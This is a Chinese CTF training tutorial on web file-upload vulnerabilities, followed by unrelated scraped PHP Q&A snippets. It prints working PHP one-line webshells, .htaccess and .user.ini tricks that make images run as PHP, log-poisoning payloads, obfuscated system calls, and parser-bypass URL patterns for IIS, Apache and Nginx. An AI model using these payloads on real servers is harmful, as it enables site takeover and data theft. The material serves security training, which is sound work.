河南省网络安全高校战队联盟CTF训练营-web文件上传第一期

2023-11-04

文件上传

在这里插入图片描述

个人介绍

姓名:飞羽 CTF菜菜一枚

例题来源

ctfhub:https://www.ctfhub.com

pwnthebox:https://insider.pwnthebox.com

ctfshow:https://ctf.show

工具

burp、Antsword、PHPstudy、各脚本

链接:https://download.csdn.net/download/qq_52342676/85199599

原理

当一个网站或软件拥有可以向服务器或其他客户端传输文件数据的 功能时,若传输时不加以限制,可以任意的传输病毒或木马文件,或者通过某种绕过手段达到该传输目的的,这就会产生文件上传漏洞。通常攻击者上传的文件是以控制网站为目的的病毒文件,该漏洞还会和解析漏洞相结合进行联合攻击。

在这里插入图片描述

拓展知识

一句话木马

一句木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。黑客多在注册信息的电子邮箱或者个人主页等中运行该木马。顾名思义是执行恶意指令的木马,通过技术手段上传到指定服务器上并可以正常访问。

用最为常见的php一句话木马为例,<?php ?>为php固定规范写法,@再php中含义为后面如果执行错误不会报错,eval()函数表示括号里的语句全做代码执行,$_POST['password']表示从页面中以post方式获取变量password的值。

multipart/form-data

multipart/form-data是一种规范,统一表达文件上传请求的格式。

boundary 用来分割数据

Content-Disposition 传递文件信息

Content-Type 标记文件类型

text/plain 文本类型

image/jpeg 图片格式

application/octet-stream 脚本类型

webshell

webshell就是以asp、php、jsp或者cgj等网页文件形式存在的一种命令执行 环境,也可以将其称做为一种网页后门。

由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具

攻击者可以利用 webshell从而达到长期控制网站服务器的目的,并获得执行 操作权

攻击者上传的文件和普通用户的当然是不同的,为了达到控制网站的目的,攻击者需要上传网 站后门也就是webshell。

文件上传知识点

1、文件上传-前端验证

就是通过前端技术,在浏览器(B/S模式中的B(browser)端)上面可以进行简单的数据检查。

2、文件上传-黑名单

1.php后缀名大小写

2.php别名:php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名)

3.配合.htaccess或.user.ini

4.双写后缀

array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。

3、文件上传-白名单

1.MIME绕过:MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。

常见的MME类型,例如:

超文本标记语言文本 .html,html text/htm

普通文本 .txt text/plain

RTF文本. rtf application/rtf

GIF图形 .gif image/gif

JPEG图形 . jpg image/jpeg

2.文件头检查:文件头检查是使用对于 文件内容 的验证机制,这种方法利用的是:每一个特定类型的文件都会有不太一样的开头或者标志位来表明它们的文件类型,也就是文件幻数。文件幻数:可以用来标记文件 或者协议的格式 ,很多文件都有幻数标志来表明该文件的格式。

3.00截断:PHP 内核是 C 实现的,使用了 C 中的字符处理函数,在连接字符串时,0 字节也就是 x00 会作为结束符,所以只要加入一个 0 字节,就可以截断字符串,0 经过 URL 编码后为 %00。php版本小于5.3.4。

4、文件上传-.htaccess

htaccess(伪静态文件)文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。.htaccess 默认不支持 nginx,设置后支持。
上传模块,黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。htaccess文件的作用是可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。在htaccess里写入SetHandlerapplication/x-httpd-php则可以文件重写成php文件。要htaccess的规则生效则需要在apache开启rewrite重写模块,因为apache是多数都开启这个模块,所以规则一般都生效。
先上传一个.htaccess文件,文件内容如下:

<FilesMatch "22.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这段内容的作用是使所有的文件都会被解析为php文件 再上传一个不被网站限制的木马文件,格式不限,如22.jpg

<?php @eval($_POST['a']); ?>

5、文件上传-user.ini

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini(是防止脚本跨目录执行的 不是防止ftp)和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

auto_prepend_file=22.jpg

让所有当前目录下可执行php文件包含22.jpg

<?php @eval($_POST['a']); ?>

6、文件上传-二次渲染

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。

绕过方法:

1.配合条件竞争漏洞:

竞争条件是指多个线程在没有进行锁操作或者同步操作的情况下同时访问同一个共享代码,变量,文件等,运行的结果依赖于不同线程访问数据的顺序。

2.配合文件包含漏洞:

将一句话木马插入到网站二次处理后的图片中,也就是将二次渲染后保留的图片和一句话木马制作成图片马,再配合文件包含漏洞解析图片马中的代码,获取webshell。

7、文件上传-简单免杀变异

注意

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess

文件二次渲染:

1、判断上传前和上传后的文件大小及内容

2、判断上传后的文件返回数据包内容

例题演示

JS 验证+user.ini+短标签+过滤

ctfshow(154.155.156.157.158.159.160

短标签

<? echo ' ';?>   //前提是开启配置参数short_open_tags=on

<?=(表达式)?>    //不需 要开启参数设置

<% echo ' ';%>  //前提是 开启配置参数 asp_tags=on

<script language="php">echo '1'; </script> //不需要修改参数开关

.user.ini:auto_prepend_file=2.png

22.png:<?=eval($_POST{a});?>

22.png: <?=system('tac ../fl*')?>

22.png:<? echotac /var/www/html/f*?>

160

包含默认日志,日志记录 UA 头,UA 头写后门代码

22.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

JS 验证+user.ini+短标签+过滤+文件头

ctfshow (161)

文件头部检测是否为图片格式文件

.user.ini:GIF89a auto_prepend_file=22.png

22.png:GIF89a <?=include"/var/lo"."g/nginx/access.lo"."g"?>

二次渲染

ctfshow(164.165)

get 0=system
post 1=tac flag.php

1、先上传 jpg 正常,返回包发现渲染 2、上传 jpg 渲染后保存,生成带代码图片

调用执行:php jpg.php 1.jpg

免杀

ctfshow(168.169.170

<?php $a='syste';$b='m';$c=$a.$b;$c('tac../flagaa.php');?>

169 170 日志包含

构造.user.ini 利用条件:上传 index.php 内容随意

上传.user.ini 包含日志:

auto_prepend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志:

<?=eval($_POST[a]);?>

额外知识点-中间件

1- IIS6.X

大多数为Windows server 2003,网站比较古老,如果要支持aspx,需要安装.NET框架
	1.1- 利用2003系统的系统特性,但凡出现 \/.:;* 文件名的后面都会被舍弃
			形式:www.xxx.com/xx.asp;.jpg
	1.2-凡是文件名是apx结尾的,里面的任何文件都会被当作脚本语言解析
1.3-除了asp、aspx以外,还有cer、cdx、asa 的后缀都可以被当作asp或者aspx脚本语言解析
	形式:mamu.cer muma.cdx mamu.asa

2- Apache

1-muma.php.xxx.aaa 从左往右解析执行

3- Nginx

# Nginx和 IIS7.5 都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解析的
1- www.xxxx.com/1.jpg/1.php

2- www.xxxx.com/1.jpg%00.php

3- www.xxxx.com/1.jpg/%20\0.php

4-IIS7.5

# Nginx和 IIS7.5 都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解析的
1-在任意后缀后面加上x.php	
	形式:www.xxx.com/logo.jpg/x.php
		 www.xxx.com/logo.txt/x.php

HP解析的
1- www.xxxx.com/1.jpg/1.php

2- www.xxxx.com/1.jpg%00.php

3- www.xxxx.com/1.jpg/%20\0.php

4-IIS7.5

# Nginx和 IIS7.5 都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解析的
1-在任意后缀后面加上x.php	
	形式:www.xxx.com/logo.jpg/x.php
		 www.xxx.com/logo.txt/x.php
		 www.xxx.com/logo.doc/x.php
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

河南省网络安全高校战队联盟CTF训练营-web文件上传第一期 的相关文章

  • PDO 返回不正确但重复的数据。密钥不在数据库中。

    我刚开始使用 pdo 语句 所以可能是一些简单的东西 我还没有在 php net 上读过 查询数据库时我收到重复的结果 Result 0 gt Array umeta id gt 31 0 gt 31 user id gt 2 1 gt 2
  • 将字符写入 Java 套接字时 fsockopen 10053 错误

    Right 我正在尝试用 PHP 编写一个小脚本 将游戏中的聊天包发送到 Minecraft Deliberately low timeout mc fsockopen localhost 25565 errno err 3 现在 如果连接
  • php paypal 服务器端 REST 集成失败

    我无法发布代码 错误等 因为 你需要至少 10 个声誉才能发布 2 个以上的链接 并且所有内容都包含很多链接 只是花了几个小时写了一篇完整详细的帖子 我在这里 和其他地方 读过类似的帖子 但它们没有帮助 我基本上遵循 https devel
  • 我应该将标签存储在文本字段还是单独的表中?

    我有一个表 其中的行如下所示 id path tags 1 pictures pic1 jpg car bmw 3 pictures pic2 jpg cat animal pussy 4 pictures pic3 png gun 基本上
  • 此集合实例 Laravel 关系中不存在属性 [X]

    我在 Laravel 5 6 中使用了很多 Realtions 当我添加 phonebooks 时 我看到所有关系都工作正常 一切都很好 但是当我尝试在视图中显示它们时 我得到了属性在此集合上不存在的错误 这是关系代码 public fun
  • 作为数据流写入 div

    考虑写入 div 的 AJAX 调用 recent req post result php d data function returnData content html returnData PHP 脚本位于result php执行一些需
  • 调用未定义的函数 MYSQL_NUM_ROWS() [重复]

    这个问题在这里已经有答案了 我正在尝试使用 php 验证登录 但收到此错误 致命错误 未捕获错误 调用 opt lampp htdocs social index php 100 中未定义的函数 MYSQL NUM ROWS 堆栈跟踪 0
  • 如何捕获 Symfony2/Silex 中的错误和异常?

    我想在我的 Silex 应用程序中捕获错误和异常 将它们包装在始终返回给客户端的自定义 JSON 响应中 我发现了三种基本方法 app gt error Symfony Component Debug ErrorHandler regist
  • 使用 laravel 检查活动用户状态

    这是非常标准的登录功能和验证 效果很好 但我还想检查用户是否处于活动状态 我在用户表中设置了一列 并将 活动 设置为 0 或 1 public function post login input Input all rules array
  • 自动解析 PHP,将 PHP 代码与 HTML 分离

    我正在开发一个大型 PHP 代码库 我想将 PHP 代码与 HTML 和 JavaScript 分开 我需要对 PHP 代码进行多次自动搜索和替换 对 HTML 进行不同的搜索和替换 对 JS 进行不同的自动搜索和替换 有没有一个好的解析器
  • 如何从 php 代码更改 php 设置?

    我想更改 php 设置 但从 php 页面而不是 php ini 更改 我要更改的设置是 upload max filesize post max size and memory limit 如果您有AllowOverride 选项 您可以
  • 为什么我的变量超出范围? PHP

    语言是 Apache 2 2 服务器上的 PHP 5 4 这是一个由ajax调用的脚本 usr new User function getMyName echo usr gt username getMyName 由于某种原因 name 超
  • PHP 中比较运算符“==”的混淆

    In PHP null 0 0 0 如果将这两者结合起来 您会期望 null 0 但是这是错误的 有人可以向我解释一下吗 在第一种情况下 null 0 null评估为false 与 一样0其评估结果为false 所以两者都是false所以比
  • 如何在 PHP 中修剪定界文档(长字符串)中的每一行

    我正在创建一个 PHP 函数 可以修剪长字符串中的每一行 例如
  • PHP:检测USB设备

    我正在尝试使用 PHP 将用户名和密码存储到 USB 拇指驱动器上的文本文件中 因此 当用户返回使用 USB 密钥登录时 应该会打开一个弹出窗口 并提示输入用户名和密码 所以我的问题是如何使用 PHP 检测 USB 拇指驱动器 所以客户端或
  • 如何使用php api检查电子邮件或手机paypal帐户状态?

    如何使用 php api 检查电子邮件或手机 Paypal 帐户状态 好的 如果我想汇款到此电子邮件贝宝 email protected cdn cgi l email protection 或手机 1234567890 汇款前 我可以检查
  • 关闭旧的 php websocket

    我在用PHP Websockets https github com ghedipunk PHP Websockets创建一个简单的聊天服务器 当我第一次运行在我的服务器上创建 websocket 的 php 脚本时 一切正常 如果脚本由于
  • facebook og:image 不会从与 URL 相呼应的 php 文件中获取图像

    facebook OG 从回显 URL 获取图像 这可能吗 因为我包含了一个 php 文件 它将回显图像 URL 但是当我签入共享调试器时 内容为空 我的元标签 gt 和 php 文件
  • 在订单项目视图中显示自定义产品数据

    我在添加到购物车时遇到问题 我有一个具有不同定制条件的产品可供选择 当客户选择特定选项时 它添加到购物车 当客户选择另一种选择并添加时 它显示为购物车中的第二件商品 这没关系 但付款后 订单在第 1 项和第 2 项下均显示自定义选项 但没有
  • 使用 PHP 将表单数据发送/发布到 URL [关闭]

    Closed 这个问题需要细节或清晰度 help closed questions 目前不接受答案 我有一个通过 POST 提交的表单 提交表单后我捕获变量 如何连接表单数据 然后将其 POST 到 url 然后重新定向到感谢页面 这不是确

随机推荐

  • C#项目实战|人脸识别考勤

    人脸识别考勤是一种基于人脸识别技术的智能化考勤系统 可以实现快速准确的考勤记录 提高考勤管理的效率和准确性 本文将介绍如何使用C 语言开发人脸识别考勤系统 一 项目概述 本项目使用C 语言 采用人脸识别技术和数据库技术 实现了一个基于人脸识
  • robots.txt 泄漏敏感信息

    robots txt 泄漏敏感信息 漏洞描述 搜索引擎可以通过robots文件可以获知哪些页面可以爬取 哪些页面不可以 爬取 Robots协议是网站国际互联网界通行的道德规范 其目的是保护网站数据和敏感信 息 确保用户个人信息和隐私不被侵犯
  • UVa 120 Stacks of Flapjacks

    Background Stacks and Queues are often considered the bread and butter of data structures and find use in architecture p
  • linux命令之tar -C命令的含义

    C代表change目录的意思 本例中指定解压文件到 opt cloudera manager这个目录下
  • 华为DevEco Device Tool的一个小bug及其解决方法

    今天 尝试烧录hi3516镜像遇到如下错误 正在执行任务 home vboxuser Huawei DevEco Device Tool core deveco venv bin hos run target upload project
  • Layui弹出层的yes/btin实现表单验证

    我们都知道layui的弹出层的btn属性生成的按钮 没办法实现弹出层内部的form验证成功后再执行相应操作 我的方法是 在弹出层写一个隐藏按钮 一个隐藏的input和form on方法 和自定义验证方法或者layui的验证方法 我使用的是l
  • 网络连接错误错误代码103怎么解决

    网络连接错误错误代码103的解决办法 1 查看网络是否通畅 点击开始 运行 输入cmd 然后输入ping空格加网址 按enter 查看该网站网络是否通畅 是否网络的问题 如果不是可能就是浏览器等其他问题 2 dns优选 打开杀毒软件 人工服
  • fastJson 前端对象null转为空字符串 “ “,空数组 [ ],空对象{ }

    Jackson请看 JsonProperty SpringBoot Jackson 将null转字符串 List Array转 int转0 前提 使用FastJson的 JsonField注解 import java util List i
  • Zigbee出现Warning[w69]: Address translation (-M, -b# or -b@) has no effect on the output format ‘debug

    Building configuration SampleApp EndDeviceEB Updating build tree ZMain c Warning Pe550 variable lcd buf was set but neve
  • 编程题实训-基于链表的图书信息管理

    第1关 基于链式存储结构的图书信息表的创建和输出 任务描述 本关任务 定义一个包含图书信息 书号 书名 价格 的链表 读入相应的图书数据来完成图书信息表的创建 然后统计图书表中的图书个数 同时逐行输出每本图书的信息 编程要求 输入 输入n
  • GO语言网络编程(并发编程)GMP原理与调度

    GO语言网络编程 并发编程 GMP原理与调度 1 GMP 原理与调度 1 1 1 一 Golang 调度器 的由来 1 单进程时代不需要调度器 我们知道 一切的软件都是跑在操作系统上 真正用来干活 计算 的是 CPU 早期的操作系统每个程序
  • deep learning sigmoid函数和softplus函数

    Certain functions arise often while working with probability distributions especially the probability distributions used
  • Java实现八大排序

    汲取知识 分享快乐 让生命不留遗憾 作者 不能再留遗憾了 专栏 Java学习 该文章主要内容 直接插入排序 希尔排序 选择排序 堆排序 冒泡排序 快速排序 递归 非递归 归并排序 递归 非递归 文章目录 前言 什么是排序 稳定性 排序实现
  • Thales

    sudo nmap sP 192 168 0 1 24 Starting Nmap 7 92 https nmap org at 2022 04 20 13 46 CST Nmap scan report for 192 168 0 1 H
  • 内核的位图和位操作接口介绍

    1 内核的位图 1 位图 位图就是用一个bit来表示一个资源的情况 比如要表示32个资源的状态 如果是每个资源用一个int型变量去表示则需要32个int型变量 但是采用位图则只需要1个int型变量 32个bit 2 适用位图的情况 资源只有
  • JavaScript和TypeScript入门

    文章目录 前言 一 JavaScript特点 二 JavaScript初步 一 基本语法 二 流程结构 1 顺序结构 2 选择结构 3 循环结构 三 函数 四 对象 1 创建对象 2 MATH对象 3 日期对象 4 字符串对象 五 数组 1
  • rabbitMQ的详细介绍

    1 概述 RabbitMQ是一个消息中间件 它接受并转发消息 你可以把它当做一个快递站点 当你要发送一个包裹时 你把你的包裹放到快递站 快递员最终会把你的快递送到收件人那里 按照这种逻辑RabbitMQ是一个快递站 一个快递员帮你传递快件
  • 哈希值相同的规律

    分享哈希值相同的一个规律 System out println Aa hashCode System out println BB hashCode 2112 2112 我们发现Aa和BB是相同的哈希值 然后我们多做几次试验可以发现一个规律
  • 作为开发人员您会喜欢的 7 个免费公共 API

    1 JSON 占位符 JSON Placeholder是一项服务 可为您提供用于测试和原型制作的假在线REST API 这是每个开发人员的首选 API 2 谷歌翻译 Google有大量的API 但其中大部分是付费的 值得庆幸的是 Trans
  • 河南省网络安全高校战队联盟CTF训练营-web文件上传第一期

    文件上传 个人介绍 姓名 飞羽 CTF菜菜一枚 例题来源 ctfhub https www ctfhub com pwnthebox https insider pwnthebox com ctfshow https ctf show 工具